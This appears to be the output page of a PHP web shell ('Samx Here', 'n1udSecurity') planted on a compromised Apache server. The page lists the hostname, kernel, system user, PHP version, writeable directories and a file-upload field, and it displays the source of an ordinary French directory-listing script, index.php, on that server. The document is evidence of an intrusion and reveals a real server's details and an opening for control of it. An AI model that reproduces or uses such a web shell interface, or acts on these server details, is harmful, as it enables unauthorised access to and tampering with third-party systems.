Samx Here
n1udSecurity


Server : Apache
System : Linux ks5.tuic.fr 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
User : pragmatice ( 1003)
PHP Version : 8.2.24
Disable Function : NONE
Directory :  /home/pragmatice/tuic22/public_html/franckcp1/p2_3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/pragmatice/tuic22/public_html/franckcp1/p2_3/index.php
<?php
header('Content-Type: text/html; charset=ISO-8859-1'); // �crase l'ent�te utf-8 envoy� par php
ini_set( 'default_charset', 'ISO-8859-1' );

$k=0;
$folderContents="";
$cpt2 = 0;
    if ($handle1 = opendir('.')) {
        while (false !== ($file = readdir($handle1))) {
           $cpt2++;
        }
        closedir($handle1);
    }


     // recuperation des dossiers
     $handle=opendir('.');
     $tableau='';
     $nbr_files=0;

     // boucle sur les �l�ments du dossier
     while ($file = readdir($handle)and ($nbr_files<$cpt2))
     { $nbr_files++;


     // teste s'il s'agit d'un fichier
     if (is_file($file)) {
     // extrait l'extension du fichier
     $ext = substr($file,-4);
     if (stristr($ext, '.') === FALSE) {
     $ext = $ext;
     }
     else {
     $ext = substr($ext,-3);
     }
     // v�rifie si l'extension est autoris�e dans le listing
    // if (in_array($ext,$extListAccept)) {
    if ($file!="index.php")
     $file_name = $file;
     // sous-r�sultat
if ($file=="index.php")
$file_name = "";

     $folderContents .= '<br><li>'.'<a href="'.$file_name.'">'.$file_name.'</a></li>';
    // }
     }
     // teste s'il s'agit d'un fichier
     else {
    // echo 'format de fichier non reconnu';
     }
     }

     // ferme le parcours du dossier
     closedir($handle);
         //echo $nbr_files;

     // teste si la liste des dossiers n'est pas nulle
     if (!isset($folderContents))
     $folderContents = 'le dossier est vide';
     ?>

     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
     <html lang="en" xml:lang="en">
     <head>
     <title><?php echo $_SERVER['PHP_SELF'];?></title>
     <meta http-equiv="Content-Type" content="txt/html; charset=ISO-8859-1" />
     </head>
     <body>
     Cette page est un script qui permet d'afficher tous les fichiers ou liens de ce dossier.
     <h2><?php echo $_SERVER['PHP_SELF'];
      if ($nbr_files== 3 )
            echo "<br>  Pas de fichier"  ;

     ?></h2>
     <ul>
     <?php echo $folderContents;?>
     </ul>
     <br><br>
     
<a href="../franckcp/index.php">Retour au sommaire g�n�ral </a>
     </body>
     </html>

SAMX